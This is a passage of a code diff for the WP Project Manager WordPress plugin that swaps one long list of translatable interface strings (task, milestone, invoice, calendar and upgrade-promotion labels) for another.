(optional)', 'wedevs-project-manager' ), - __( 'Start Date', 'wedevs-project-manager' ), - __( 'Select User', 'wedevs-project-manager' ), - __( 'Update Task', 'wedevs-project-manager' ), - __( 'Estimated hour to complete the task', 'wedevs-project-manager' ), - __( 'Maxmim character limit 200', 'wedevs-project-manager' ), - __( 'Task title required!', 'wedevs-project-manager' ), - __( 'Task list details', 'wedevs-project-manager' ), - __( 'Update List', 'wedevs-project-manager' ), - __( 'Add List', 'wedevs-project-manager' ), - __( 'Incomplete Tasks', 'wedevs-project-manager' ), - __( 'No tasks found.', 'wedevs-project-manager' ), - __( 'Completed Tasks', 'wedevs-project-manager' ), - __( 'Back to Task Lists', 'wedevs-project-manager' ), - __( 'Delete List', 'wedevs-project-manager' ), - __( 'Mark as private', 'wedevs-project-manager' ), - __( 'Mark as public', 'wedevs-project-manager' ), - __( 'Update Description', 'wedevs-project-manager' ), - __( 'Copied!', 'wedevs-project-manager' ), - __( 'Invalid date range!', 'wedevs-project-manager' ), - __( 'Task marked as private', 'wedevs-project-manager' ), - __( 'Task visible for co-worker', 'wedevs-project-manager' ), - __( 'Pusher', 'pm-pro' ), - __( 'Pusher Settings', 'wedevs-project-manager' ), - __( 'App ID', 'wedevs-project-manager' ), - __( 'App Key', 'wedevs-project-manager' ), - __( 'Secret', 'wedevs-project-manager' ), - __( 'Cluster', 'wedevs-project-manager' ), - __( 'Overdue Tasks', 'wedevs-project-manager' ), - __( 'View Full Report', 'wedevs-project-manager' ), - __( 'User Activities', 'wedevs-project-manager' ), - __( 'Task by Milestone', 'wedevs-project-manager' ), - __( 'Unassigned Task', 'wedevs-project-manager' ), - __( 'Summary', 'wedevs-project-manager' ), - __( 'E-Mail Settings', 'wedevs-project-manager' ), - __( 'From Email', 'wedevs-project-manager' ), - __( 'Links in the Email', 'wedevs-project-manager' ), - __( 'Link to Backend', 'wedevs-project-manager' ), - __( 'Select where do you want to take the user. Notification emails contain links.', 'wedevs-project-manager' ), - __( 'E-Mail Type', 'wedevs-project-manager' ), - __( 'HTML Mail', 'wedevs-project-manager' ), - __( 'Plain Text', 'wedevs-project-manager' ), - __( 'Send email via Bcc', 'wedevs-project-manager' ), - __( 'Enable Bcc', 'wedevs-project-manager' ), - __( 'General Settings', 'wedevs-project-manager' ), - __( 'File Upload Limit', 'wedevs-project-manager' ), - __( 'File Size in Megabytes. e.g: 2', 'wedevs-project-manager' ), - __( 'Projects Per Page', 'wedevs-project-manager' ), - __( '-1 for unlimited', 'wedevs-project-manager' ), - __( 'Task Lists Per Page', 'wedevs-project-manager' ), - __( 'Incomplete Tasks Per Page', 'wedevs-project-manager' ), - __( 'Completed Tasks Per Page', 'wedevs-project-manager' ), - __( 'Project Managing Capability', 'wedevs-project-manager' ), - __( 'Select the user roles who can see and manage all projects.', 'wedevs-project-manager' ), - __( 'Project Creation Capability', 'wedevs-project-manager' ), - __( 'Select the user roles who can create projects.', 'wedevs-project-manager' ), - __( 'Pusher', 'wedevs-project-manager' ), - __( 'Type Name', 'wedevs-project-manager' ), - __( 'Type name required!', 'wedevs-project-manager' ), - __( 'secret', 'wedevs-project-manager' ), - __( 'Edit', 'pm-pro' ), - __( 'Delete', 'pm-pro' ), - __( '+ Create New Task Type', 'wedevs-project-manager' ), - __( 'Users Map to Github & Bitbucket', 'wedevs-project-manager' ), - __( 'Reports', 'wedevs-project-manager' ), - __( 'Date', 'wedevs-project-manager' ), - __( 'User Name', 'wedevs-project-manager' ), - __( 'Total Estimation Hours', 'wedevs-project-manager' ), - __( 'Completed Task Count', 'wedevs-project-manager' ), - __( 'Avg. Hour Per-task', 'wedevs-project-manager' ), - __( 'Avg. Work Hour Per-day', 'wedevs-project-manager' ), - __( 'Avg. Task Per-day', 'wedevs-project-manager' ), - __( 'All Projects', 'wedevs-project-manager' ), - __( 'Task Types', 'wedevs-project-manager' ), - __( 'Subtask Types', 'wedevs-project-manager' ), - __( 'Completed At', 'wedevs-project-manager' ), - __( 'Subtask Title', 'wedevs-project-manager' ), - __( 'Hour', 'wedevs-project-manager' ), - __( 'Task type', 'wedevs-project-manager' ), - __( 'Est. Hour', 'wedevs-project-manager' ), - __( 'Sub task type', 'wedevs-project-manager' ), - __( 'Sub task Type', 'wedevs-project-manager' ), - __( 'Subtask', 'wedevs-project-manager' ), - __( 'Upgrade to', 'wedevs-project-manager' ), - __( 'WP Project Manager', 'wedevs-project-manager' ), - __( 'unlock and take advantage of our premium features 🎉', 'wedevs-project-manager' ), - __( 'Give your team & projects additional pace with 10+ premium modules such as -', 'wedevs-project-manager' ), - __( 'Stripe Gateway, Time Tracker, Sub Task, Invoice, Kanban Board, Gantt Chart, WooCommerce Order, BuddyPress', 'wedevs-project-manager' ), - __( 'etc', 'wedevs-project-manager' ), - __( 'Experience the', 'wedevs-project-manager' ), - __( 'Advanced Files Manager', 'wedevs-project-manager' ), - __( 'that helps you to', 'wedevs-project-manager' ), - __( 'upload, store', 'wedevs-project-manager' ), - __( 'or', 'wedevs-project-manager' ), - __( 'create files, documents, custom fields,', 'wedevs-project-manager' ), - __( 'and', 'wedevs-project-manager' ), - __( 'images', 'wedevs-project-manager' ), - __( 'from one place and keeps you hassle-free', 'wedevs-project-manager' ), - __( 'Get more', 'wedevs-project-manager' ), - __( 'Advanced Reporting, Automatic', 'wedevs-project-manager' ), - __( 'Daily Digest Mail, and', 'wedevs-project-manager' ), - __( 'Real-Time Updates', 'wedevs-project-manager' ), - __( 'Collaborate', 'wedevs-project-manager' ), - __( 'with your team members privately with', 'wedevs-project-manager' ), - __( 'Built-in Private Messenger', 'wedevs-project-manager' ), - __( '10,000+ successful businesses', 'wedevs-project-manager' ), - __( '14 days no questions asked refund policy', 'wedevs-project-manager' ), - __( 'Industry leading 24x7 support', 'wedevs-project-manager' ), - __( 'Available in Pro. Unlock & enjoy:', 'wedevs-project-manager' ), - __( 'Features you can use...', 'wedevs-project-manager' ), - __( 'Welcome to', 'wedevs-project-manager' ), - __( 'The best project management tool for WordPress to get things done with your team.', 'wedevs-project-manager' ), - __( 'Filter, edit, update or take', 'wedevs-project-manager' ), - __( 'Create Your First Project', 'wedevs-project-manager' ), - __( 'Read Full Guide', 'wedevs-project-manager' ), - __( 'Import', 'wedevs-project-manager' ), - __( 'Effortlessly import projects and project tasks from', 'wedevs-project-manager' ), - __( 'other platforms to manage them at one place.', 'wedevs-project-manager' ), - __( 'Import Now', 'wedevs-project-manager' ), - __( 'Resources of Project Manager', 'wedevs-project-manager' ), - __( 'Get upgraded to Pro version to unlock endless opportunities of managing your project better.', 'wedevs-project-manager' ), - __( 'Upgrade to Pro', 'wedevs-project-manager' ), - __( 'Enhance your project management performance with extended features in the pro version.', 'wedevs-project-manager' ), - __( 'View Pro features', 'wedevs-project-manager' ), - __( 'Check out all the useful modules that would take your project management experience to a whole new level.', 'wedevs-project-manager' ), - __( 'Go to Modules', 'wedevs-project-manager' ), - __( 'After Product Order Placement', 'wedevs-project-manager' ), - __( 'Order Products', 'wedevs-project-manager' ), - __( 'Search Product', 'wedevs-project-manager' ), - __( 'Oops! No product found. Consider changing the search query.', 'wedevs-project-manager' ), - __( 'Assignees Users', 'wedevs-project-manager' ), - __( 'Save Change', 'wedevs-project-manager' ), - __( 'Are you sure to delete this project?', 'wedevs-project-manager' ), +more specific on this project.', 'wedevs-project-manager' ), + __( 'Loading', 'wedevs-project-manager' ), + __( 'Task type not found!', 'wedevs-project-manager' ), + __( 'Add new task type', 'wedevs-project-manager' ), + __( 'Add Task Type', 'pm-pro' ), + __( 'No type found!', 'pm-pro' ), + __( 'Click to mark the task as incompleted.', 'wedevs-project-manager' ), + __( 'Completed', 'wedevs-project-manager' ), + __( 'When the task is done, click to mark it as completed.', 'wedevs-project-manager' ), + __( 'Mark Complete', 'wedevs-project-manager' ), + __( 'Created by', 'wedevs-project-manager' ), + __( 'on', 'wedevs-project-manager' ), + __( 'Copy Link', 'wedevs-project-manager' ), + __( 'Project:', 'wedevs-project-manager' ), + __( 'Task List:', 'wedevs-project-manager' ), + __( 'Members', 'wedevs-project-manager' ), + __( 'You can add team members responsible for this task.', 'wedevs-project-manager' ), + __( 'Add new member', 'wedevs-project-manager' ), + __( 'Add New Member', 'wedevs-project-manager' ), + __( 'No user found!', 'pm-pro' ), + __( 'Due Date', 'wedevs-project-manager' ), + __( 'You can fix a date for when this task
is planned to be accomplished.', 'wedevs-project-manager' ), + __( 'Clear', 'wedevs-project-manager' ), + __( 'Add Due Date', 'wedevs-project-manager' ), + __( 'Add Due Date +', 'wedevs-project-manager' ), + __( 'Privacy', 'wedevs-project-manager' ), + __( 'It will hide the task from co-workers and clients.
According project settings capability.', 'wedevs-project-manager' ), + __( 'Hide from others', 'wedevs-project-manager' ), + __( 'Description', 'wedevs-project-manager' ), + __( 'Description', 'pm-pro' ), + __( 'Update', 'wedevs-project-manager' ), + __( 'Activity', 'wedevs-project-manager' ), + __( 'Are you sure you want to delete this milestones?', 'wedevs-project-manager' ), + __( 'Projects', 'wedevs-project-manager' ), + __( 'No users found.', 'wedevs-project-manager' ), + __( 'Create a new user', 'wedevs-project-manager' ), + __( 'Username', 'wedevs-project-manager' ), + __( 'First Name', 'wedevs-project-manager' ), + __( 'Last Name', 'wedevs-project-manager' ), + __( 'Email', 'wedevs-project-manager' ), + __( '- Project Category -', 'wedevs-project-manager' ), + __( 'Notify Co-Workers', 'wedevs-project-manager' ), + __( 'Close', 'wedevs-project-manager' ), + __( 'action', 'wedevs-project-manager' ), + __( 'Complete', 'wedevs-project-manager' ), + __( 'Restore', 'wedevs-project-manager' ), + __( 'Delete project', 'wedevs-project-manager' ), + __( 'Project Description', 'wedevs-project-manager' ), + __( 'No Description Found!', 'wedevs-project-manager' ), + __( 'Task', 'wedevs-project-manager' ), + __( 'Discussions', 'wedevs-project-manager' ), + __( 'Task Lists', 'wedevs-project-manager' ), + __( 'Tasks', 'wedevs-project-manager' ), + __( 'Comments', 'wedevs-project-manager' ), + __( 'Files', 'wedevs-project-manager' ), + __( 'Milestones', 'wedevs-project-manager' ), + __( 'Last 30 days', 'wedevs-project-manager' ), + __( 'Users', 'wedevs-project-manager' ), + __( 'Add', 'wedevs-project-manager' ), + __( 'Load More ...', 'wedevs-project-manager' ), + __( 'No activities found.', 'wedevs-project-manager' ), + __( 'Attached to', 'wedevs-project-manager' ), + __( 'by', 'wedevs-project-manager' ), + __( 'admin', 'wedevs-project-manager' ), + __( 'No results found.', 'wedevs-project-manager' ), + __( 'New Task List', 'wedevs-project-manager' ), + __( '- Milestone -', 'wedevs-project-manager' ), + __( 'Add Task', 'wedevs-project-manager' ), + __( 'Add New Task (Character limit 200)', 'wedevs-project-manager' ), + __( 'Type User Name', 'wedevs-project-manager' ), + __( 'Assign user', 'wedevs-project-manager' ), + __( 'Task Type', 'wedevs-project-manager' ), + __( 'Add New', 'wedevs-project-manager' ), + __( 'Task: ', 'wedevs-project-manager' ), + __( 'Search Lists', 'wedevs-project-manager' ), + __( 'Move Task', 'wedevs-project-manager' ), + __( 'Make Private', 'wedevs-project-manager' ), + __( 'Make Public', 'wedevs-project-manager' ), + __( 'Duplicate', 'wedevs-project-manager' ), + __( 'Move', 'wedevs-project-manager' ), + __( 'More Tasks', 'wedevs-project-manager' ), + __( 'Show Completed Task', 'wedevs-project-manager' ), + __( 'Hide Completed Task', 'wedevs-project-manager' ), + __( 'You can list all your Tasks in a single discussion using a Task list. Use these lists to divide a project into several sectors, assign co-workers and check progress.', 'wedevs-project-manager' ), + __( 'When to use Task Lists?', 'wedevs-project-manager' ), + __( 'To partition a project internals.', 'wedevs-project-manager' ), + __( 'To mark milestone points.', 'wedevs-project-manager' ), + __( 'To assign people to tasks.', 'wedevs-project-manager' ), + __( 'Task Filter', 'wedevs-project-manager' ), + __( 'Task title', 'wedevs-project-manager' ), + __( 'Task list name', 'wedevs-project-manager' ), + __( 'Type task list name', 'pm-pro' ), + __( 'No task lists found.', 'wedevs-project-manager' ), + __( 'Status', 'wedevs-project-manager' ), + __( 'On-going', 'wedevs-project-manager' ), + __( 'Assigned to', 'wedevs-project-manager' ), + __( 'Clear Filter', 'wedevs-project-manager' ), + __( 'Apply Filter', 'wedevs-project-manager' ), + __( 'Project', 'wedevs-project-manager' ), + __( 'Loading projects', 'wedevs-project-manager' ), + __( 'In List', 'wedevs-project-manager' ), + __( 'Loading task lists', 'wedevs-project-manager' ), + __( 'You have no permission to create task for this project', 'wedevs-project-manager' ), + __( 'Calendar', 'wedevs-project-manager' ), + __( 'Recurring Test Project', 'wedevs-project-manager' ), + __( 'Woo Project Testing', 'wedevs-project-manager' ), + __( 'No elements found. Consider changing the search query.', 'wedevs-project-manager' ), + __( 'Alexander', 'wedevs-project-manager' ), + __( 'Md. Sifatullah Kakkar', 'wedevs-project-manager' ), + __( 'Incomplete Task', 'wedevs-project-manager' ), + __( 'Complete Task', 'wedevs-project-manager' ), + __( 'Outstanding Task', 'wedevs-project-manager' ), + __( 'Milestone', 'wedevs-project-manager' ), + __( 'today', 'wedevs-project-manager' ), + __( 'User view', 'wedevs-project-manager' ), + __( 'month', 'wedevs-project-manager' ), + __( 'week', 'wedevs-project-manager' ), + __( 'day', 'wedevs-project-manager' ), + __( 'November 2022', 'wedevs-project-manager' ), + __( 'Sun', 'wedevs-project-manager' ), + __( 'Mon', 'wedevs-project-manager' ), + __( 'Tue', 'wedevs-project-manager' ), + __( 'Wed', 'wedevs-project-manager' ), + __( 'Thu', 'wedevs-project-manager' ), + __( 'Fri', 'wedevs-project-manager' ), + __( 'Sat', 'wedevs-project-manager' ), + __( '30', 'wedevs-project-manager' ), + __( '31', 'wedevs-project-manager' ), + __( '1', 'wedevs-project-manager' ), + __( '2', 'wedevs-project-manager' ), + __( '3', 'wedevs-project-manager' ), + __( '4', 'wedevs-project-manager' ), + __( '5', 'wedevs-project-manager' ), + __( '6', 'wedevs-project-manager' ), + __( '7', 'wedevs-project-manager' ), + __( '8', 'wedevs-project-manager' ), + __( '9', 'wedevs-project-manager' ), + __( '10', 'wedevs-project-manager' ), + __( '11', 'wedevs-project-manager' ), + __( '12', 'wedevs-project-manager' ), + __( '13', 'wedevs-project-manager' ), + __( '14', 'wedevs-project-manager' ), + __( '15', 'wedevs-project-manager' ), + __( '16', 'wedevs-project-manager' ), + __( '17', 'wedevs-project-manager' ), + __( '18', 'wedevs-project-manager' ), + __( '19', 'wedevs-project-manager' ), + __( 'Check recurring validations', 'wedevs-project-manager' ), + __( '20', 'wedevs-project-manager' ), + __( '21', 'wedevs-project-manager' ), + __( '22', 'wedevs-project-manager' ), + __( '23', 'wedevs-project-manager' ), + __( '24', 'wedevs-project-manager' ), + __( '25', 'wedevs-project-manager' ), + __( '26', 'wedevs-project-manager' ), + __( '27', 'wedevs-project-manager' ), + __( '28', 'wedevs-project-manager' ), + __( '29', 'wedevs-project-manager' ), + __( 'Handle Bitcom Deals', 'wedevs-project-manager' ), + __( 'Make Final Presentation', 'wedevs-project-manager' ), + __( 'Categories', 'wedevs-project-manager' ), + __( 'Add New Category', 'wedevs-project-manager' ), + __( 'Name', 'wedevs-project-manager' ), + __( 'Select bulk action', 'wedevs-project-manager' ), + __( 'Bulk Actions', 'wedevs-project-manager' ), + __( 'Quick Edit', 'wedevs-project-manager' ), + __( 'Update Category', 'wedevs-project-manager' ), + __( 'Submit', 'wedevs-project-manager' ), + __( 'Select Color', 'wedevs-project-manager' ), + __( 'Post Comment', 'wedevs-project-manager' ), + __( 'Update Comment', 'wedevs-project-manager' ), + __( 'Menu 1', 'wedevs-project-manager' ), + __( 'Menu 2', 'wedevs-project-manager' ), + __( 'Delete File', 'wedevs-project-manager' ), + __( 'To attach', 'wedevs-project-manager' ), + __( 'from your computer.', 'wedevs-project-manager' ), + __( 'select files', 'wedevs-project-manager' ), + __( 'Select a project', 'wedevs-project-manager' ), + __( 'Project Actions', 'wedevs-project-manager' ), + __( 'All', 'wedevs-project-manager' ), + __( 'Any', 'wedevs-project-manager' ), + __( 'Over Due', 'wedevs-project-manager' ), + __( 'Today', 'wedevs-project-manager' ), + __( 'Less Than 1 week', 'wedevs-project-manager' ), + __( 'Loading...', 'pm' ), + __( 'More', 'wedevs-project-manager' ), + __( 'Overview', 'wedevs-project-manager' ), + __( 'Activities', 'wedevs-project-manager' ), + __( 'Title', 'pm' ), + __( 'Cancel', 'pm' ), + __( 'Add New', 'pm' ), + __( 'Choose task type', 'wedevs-taskType-manager' ), + __( 'Write a comment...', 'wedevs-project-manager' ), + __( 'Provide your App Key & Token', 'wedevs-project-manager' ), + __( 'No activities found!', 'wedevs-project-manager' ), + __( 'Load More', 'wedevs-project-manager' ), + __( 'My Calendar', 'wedevs-project-manager' ), + __( 'Task List', 'wedevs-project-manager' ), + __( 'Completed at', 'wedevs-project-manager' ), + __( 'No task found!', 'wedevs-project-manager' ), + __( 'Created at', 'wedevs-project-manager' ), + __( 'Date Between', 'wedevs-project-manager' ), + __( 'activity', 'wedevs-proejct-manager' ), + __( 'Completed Task', 'wedevs-proejct-manager' ), + __( 'Assigned Task', 'wedevs-proejct-manager' ), + __( 'Current Task', 'wedevs-proejct-manager' ), + __( 'Outstanding Task', 'wedevs-proejct-manager' ), + __( 'My Tasks', 'wedevs-project-manager' ), + __( 'Select an User', 'wedevs-project-manager' ), + __( 'New Task', 'wedevs-project-manager' ), + __( 'No project found!', 'wedevs-project-manager' ), + __( 'No task lists found!', 'wedevs-project-manager' ), + __( 'Overdue', 'wedevs-project-manager' ), + __( 'My Task Overview', 'wedevs-project-manager' ), + __( 'Activity Filter', 'wedevs-project-manager' ), + __( 'At a glance', 'wedevs-project-manager' ), + __( 'Current', 'wedevs-project-manager' ), + __( 'Outstanding', 'wedevs-project-manager' ), + __( 'Start at - Due date', 'wedevs-project-manager' ), + __( 'Due date', 'wedevs-project-manager' ), + __( 'My tasks', 'wedevs-project-manager' ), + __( 'No project found.', 'wedevs-project-manager' ), + __( 'Current Task', 'wedevs-project-manager' ), + __( 'Start date and due date should be greater than or equal today', 'wedevs-project-manager' ), + __( 'Start date should be greater than or equal today', 'wedevs-project-manager' ), + __( 'Due date should be greater than today', 'wedevs-project-manager' ), + __( 'Start date and due date should be less than today', 'wedevs-project-manager' ), + __( 'Start date should be less than today', 'wedevs-project-manager' ), + __( 'Due date should be less than today', 'wedevs-project-manager' ), + __( 'See More', 'wedevs-project-manager' ), + __( 'More features to unveil while', 'wedevs-project-manager' ), + __( 'Managing Your Project', 'wedevs-project-manager' ), + __( 'Useful & fascinating features for WP Project Manager that can be', 'wedevs-project-manager' ), + __( 'unlocked with the Pro Version.', 'wedevs-project-manager' ), + __( 'Project Manager Pro', 'wedevs-project-manager' ), + __( 'Premium Features', 'wedevs-project-manager' ), + __( 'Advanced project management tools to ensure your', 'wedevs-project-manager' ), + __( 'efficiency and productivity reach the peak.', 'wedevs-project-manager' ), + __( 'Get the Birdseye view of all tasks from an interactive calendar.', 'wedevs-project-manager' ), + __( 'Report', 'wedevs-project-manager' ), + __( 'Generate actionable insights with built-in reporting system.', 'wedevs-project-manager' ), + __( 'Progress', 'wedevs-project-manager' ), + __( 'Stay updated with the live progress of your projects. Plan ahead of deadline.', 'wedevs-project-manager' ), + __( 'Available Modules', 'wedevs-project-manager' ), + __( 'Recurring Task', 'wedevs-project-manager' ), + __( 'Automate routine tasks with this super handy module. Just set the patterns & parameters and the tasks will repeat itself accordingly.', 'wedevs-project-manager' ), + __( 'BuddyPress', 'wedevs-project-manager' ), + __( 'Need to bring team networking in your project manager? You\'re good to go.', 'wedevs-project-manager' ), + __( 'Gantt Chart', 'wedevs-project-manager' ), + __( 'Get a graphical overview of task progress, deadline, sub-tasks, project dependencies - everything in one place.', 'wedevs-project-manager' ), + __( 'Kanban Board', 'wedevs-project-manager' ), + __( 'Organize your tasks in Kanban style to keep team-mates updated about task status.', 'wedevs-project-manager' ), + __( 'WooCommerce Order', 'wedevs-project-manager' ), + __( 'Integrate task management with your WooCommerce store and automate the workflow.', 'wedevs-project-manager' ), + __( 'Sub Task', 'wedevs-project-manager' ), + __( 'Break down your tasks into smaller ones to work more effectively. Keep track of every detail.', 'wedevs-project-manager' ), + __( 'Time Tracker', 'wedevs-project-manager' ), + __( 'Track the exact time you spend on specific tasks. With Interval option of course.', 'wedevs-project-manager' ), + __( 'Invoice', 'wedevs-project-manager' ), + __( 'Invoice creation, payment collection have never been easier before.', 'wedevs-project-manager' ), + __( 'Stripe Gateway', 'wedevs-project-manager' ), + __( 'Enable the hassle-free and popular payment system with the minimum cost possible.', 'wedevs-project-manager' ), + __( 'Private', 'wedevs-project-manager' ), + __( 'KanBan Board', 'wedevs-project-manager' ), + __( 'Turn your projects into Trello like boards and organize them using drag and drop feature.', 'wedevs-project-manager' ), + __( 'Break down your to-dos into smaller tasks for better management and project tracking.', 'wedevs-project-manager' ), + __( 'Custom Fields', 'wedevs-project-manager' ), + __( 'Generate invoice for your projects anytime; print, download and send emails to your client.', 'wedevs-project-manager' ), + __( 'Create projects instantly for each of the orders placed on your WooCommerce store.', 'wedevs-project-manager' ), + __( 'Repeatedly creates tasks if you set recurrence.', 'wedevs-project-manager' ), + __( 'Create detailed Gantt charts for your projects and become a professional project manager.', 'wedevs-project-manager' ), + __( 'BuddyPress Integration', 'wedevs-project-manager' ), + __( 'Manage your projects group wise directly from the frontend using this premium integration.', 'wedevs-project-manager' ), + __( 'Track time for each of your project tasks for increasing overall team productivity.', 'wedevs-project-manager' ), + __( 'Invoice stripe payment gateway', 'wedevs-project-manager' ), + __( 'Get payment with stripe account.', 'wedevs-project-manager' ), + __( 'Project Invoice', 'wedevs-project-manager' ), + __( 'Invoices', 'wedevs-project-manager' ), + __( 'Theme Color', 'wedevs-project-manager' ), + __( 'Currency', 'wedevs-project-manager' ), + __( 'US Dollar', 'wedevs-project-manager' ), + __( 'Payment Gateway', 'wedevs-project-manager' ), + __( 'Paypal', 'wedevs-project-manager' ), + __( 'Stripe', 'wedevs-project-manager' ), + __( 'PayPal email', 'wedevs-project-manager' ), + __( 'Enable demo/sandbox mode forPayPal', 'wedevs-project-manager' ), + __( 'When sandbox mode is active, all payment gateway will be used in demo mode', 'wedevs-project-manager' ), + __( 'PayPal Instruction', 'wedevs-project-manager' ), + __( 'Pay with your credit card', 'wedevs-project-manager' ), + __( 'Organization', 'wedevs-project-manager' ), + __( 'Address Line 1', 'wedevs-project-manager' ), + __( 'Address Line 2', 'wedevs-project-manager' ), + __( 'City', 'wedevs-project-manager' ), + __( 'State/Province', 'wedevs-project-manager' ), + __( 'Zip/Postal Code', 'wedevs-project-manager' ), + __( 'Country', 'wedevs-project-manager' ), + __( 'Bangladesh', 'wedevs-project-manager' ), + __( 'Pages', 'wedevs-project-manager' ), + __( 'Page Settings', 'wedevs-project-manager' ), + __( 'Front-end', 'wedevs-project-manager' ), + __( 'Task start date', 'wedevs-project-manager' ), + __( 'Enable task start date field', 'wedevs-project-manager' ), + __( 'Logo', 'wedevs-project-manager' ), + __( 'Upload', 'wedevs-project-manager' ), + __( 'Daily Digest', 'wedevs-project-manager' ), + __( 'Enable Daily Digest', 'wedevs-project-manager' ), + __( 'Subtasks', 'wedevs-project-manager' ), + __( 'Pro', 'wedevs-project-manager' ), + __( 'Content planing', 'wedevs-project-manger' ), + __( 'Estimation', 'wedevs-project-manager' ), + __( 'according subtasks', 'wedevs-project-manager' ), + __( '00 Hour', 'wedevs-project-manager' ), + __( '00 Minute', 'wedevs-project-manager' ), + __( 'Label', 'wedevs-project-manager' ), + __( 'Add Label', 'pm-pro' ), + __( 'Recurring', 'wedevs-project-manager' ), + __( 'Add Recurring', 'wedevs-project-manager' ), + __( 'Track Time', 'wedevs-project-manager' ), + __( '+ Add custom time', 'wedevs-project-manager' ), + __( 'Oct 24 2022', 'wedevs-project-manager' ), + __( 'update', 'wedevs-project-manager' ), + __( 'has updated the description of a discussion board,', 'wedevs-project-manager' ), + __( 'Profile badge successfully updated', 'wedevs-project-manager' ), + __( '2022-11-03 07:49:10', 'wedevs-project-manager' ), + __( 'create', 'wedevs-project-manager' ), + __( 'has created a discussion board titled as', 'wedevs-project-manager' ), + __( 'Profile badge successfully created', 'wedevs-project-manager' ), + __( '2022-11-03 07:48:51', 'wedevs-project-manager' ), + __( 'Oct 25 2022', 'wedevs-project-manager' ), + __( 'Project recursion successfully updated', 'wedevs-project-manager' ), + __( 'Project recursion successfully created', 'wedevs-project-manager' ), + __( 'Add New Comment', 'wedevs-project-manager' ), + __( 'Add List', 'cpm' ), + __( 'Use our built in discussion panel to create an open discussion, a group discussion or a private conversation. Note that the Admin can always moderate these discussions.', 'wedevs-project-manager' ), + __( 'Add New Discussion', 'wedevs-project-manager' ), + __( 'Create a new message', 'wedevs-project-manager' ), + __( 'When to use Discussions?', 'wedevs-project-manager' ), + __( 'To discuss a work matter privately.', 'wedevs-project-manager' ), + __( 'To exchange files privately.', 'wedevs-project-manager' ), + __( 'To discuss in a group.', 'wedevs-project-manager' ), + __( 'To create an open discussion visible to all.', 'wedevs-project-manager' ), + __( 'Discussion List', 'wedevs-project-manager' ), + __( 'By', 'wedevs-project-manager' ), + __( 'Delete this message', 'wedevs-project-manager' ), + __( 'Make it private', 'wedevs-project-manager' ), + __( 'Are you sure to delete this comment?', 'wedevs-project-manager' ), + __( 'Enter message title', 'wedevs-project-manager' ), + __( 'Add Message', 'wedevs-project-manager' ), + __( 'Update Message', 'wedevs-project-manager' ), + __( 'Project Manager', 'wedevs-project-manager' ), + __( 'Start a new project', 'wedevs-project-manager' ), + __( 'Name of the project', 'wedevs-project-manager' ), + __( 'Some details about the project (optional)', 'wedevs-project-manager' ), + __( 'Search users...', 'wedevs-project-manager' ), + __( 'Add New Project', 'wedevs-project-manager' ), + __( 'Update Project', 'wedevs-project-manager' ), + __( 'Client', 'wedevs-project-manager' ), + __( 'Project title is required.', 'wedevs-project-manager' ), + __( '- All Categories -', 'wedevs-project-manager' ), + __( 'Active', 'wedevs-project-manager' ), + __( 'Favourite', 'wedevs-project-manager' ), + __( 'New Project', 'wedevs-project-manager' ), + __( 'Create User', 'wedevs-project-manager' ), + __( 'No projects found.', 'wedevs-project-manager' ), + __( 'Grid View', 'wedevs-project-manager' ), + __( 'List View', 'wedevs-project-manager' ), + __( 'Edit Milestone', 'wedevs-project-manager' ), + __( 'Delete milestone', 'wedevs-project-manager' ), + __( 'Mark as incomplete', 'wedevs-project-manager' ), + __( 'Mark as complete', 'wedevs-project-manager' ), + __( 'Completed Milestones', 'wedevs-project-manager' ), + __( 'Completed on:', 'wedevs-project-manager' ), + __( 'Late Milestones', 'wedevs-project-manager' ), + __( 'Create a lifecycle of your projects using milestones. Time mark the different stages of your project with multiple milestones and also it will help the assigned people to aim for a date to complete the project according to those steps.', 'wedevs-project-manager' ), + __( 'Add Milestone', 'wedevs-project-manager' ), + __( 'When to use Milestones?', 'wedevs-project-manager' ), + __( 'To set a target date for the project overall.', 'wedevs-project-manager' ), + __( 'To divide a project into several development-time phases.', 'wedevs-project-manager' ), + __( 'To coordinate projects and assigned persons timely.', 'wedevs-project-manager' ), + __( 'Milestone name', 'wedevs-project-manager' ), + __( 'Update Milestone', 'wedevs-project-manager' ), + __( 'Milestone title required!', 'wedevs-project-manager' ), + __( 'Upcoming Milestones', 'wedevs-project-manager' ), + __( 'left -', 'wedevs-project-manager' ), + __( 'Title', 'wedevs-project-manager' ), + __( 'Start time', 'wedevs-project-manager' ), + __( 'Group', 'wedevs-project-manager' ), + __( '2022-11-17', 'wedevs-project-manager' ), + __( 'Inbox', 'wedevs-project-manager' ), + __( 'List', 'wedevs-project-manager' ), + __( 'November, 2022', 'wedevs-project-manager' ), + __( '15, Tue', 'wedevs-project-manager' ), + __( '16, Wed', 'wedevs-project-manager' ), + __( '17, Thu', 'wedevs-project-manager' ), + __( '18, Fri', 'wedevs-project-manager' ), + __( '19, Sat', 'wedevs-project-manager' ), + __( '20, Sun', 'wedevs-project-manager' ), + __( '21, Mon', 'wedevs-project-manager' ), + __( '22, Tue', 'wedevs-project-manager' ), + __( '23, Wed', 'wedevs-project-manager' ), + __( '24, Thu', 'wedevs-project-manager' ), + __( '25, Fri', 'wedevs-project-manager' ), + __( '26, Sat', 'wedevs-project-manager' ), + __( '27, Sun', 'wedevs-project-manager' ), + __( 'Fullscreen', 'wedevs-project-manager' ), + __( 'Filter', 'wedevs-project-manager' ), + __( 'Open', 'wedevs-project-manager' ), + __( 'In Progress', 'wedevs-project-manager' ), + __( 'Done', 'wedevs-project-manager' ), + __( 'Kanban board', 'wedevs-project-manager' ), + __( 'Create', 'wedevs-project-manager' ), + __( 'Co-worker', 'wedevs-project-manager' ), + __( 'Message: ', 'wedevs-project-manager' ), + __( 'View Private', 'wedevs-project-manager' ), + __( 'Todo List', 'wedevs-project-manager' ), + __( 'Todo', 'wedevs-project-manager' ), + __( 'Upload or create doc', 'wedevs-project-manager' ), + __( 'View Private files or docs', 'wedevs-project-manager' ), + __( 'Label Name', 'wedevs-project-manager' ), + __( 'Color', 'wedevs-project-manager' ), + __( 'Label name required!', 'wedevs-project-manager' ), + __( 'Label color required!', 'wedevs-project-manager' ), + __( 'Field Title', 'pm-pro' ), + __( 'Type', 'pm-pro' ), + __( 'Drop-down', 'pm-pro' ), + __( 'Text', 'pm-pro' ), + __( 'Number', 'pm-pro' ), + __( 'URL', 'pm-pro' ), + __( 'Add description', 'pm-pro' ), + __( 'Add New', 'pm-pro' ), + __( 'Custom Fields', 'pm-pro' ), + __( 'Custom Field', 'pm-pro' ), + __( 'Field title required!', 'pm-pro' ), + __( 'Field type required!', 'pm-pro' ), + __( 'Field options required!', 'pm-pro' ), + __( 'Custom field created successfully!', 'pm-pro' ), + __( 'Custom field updated successfully!', 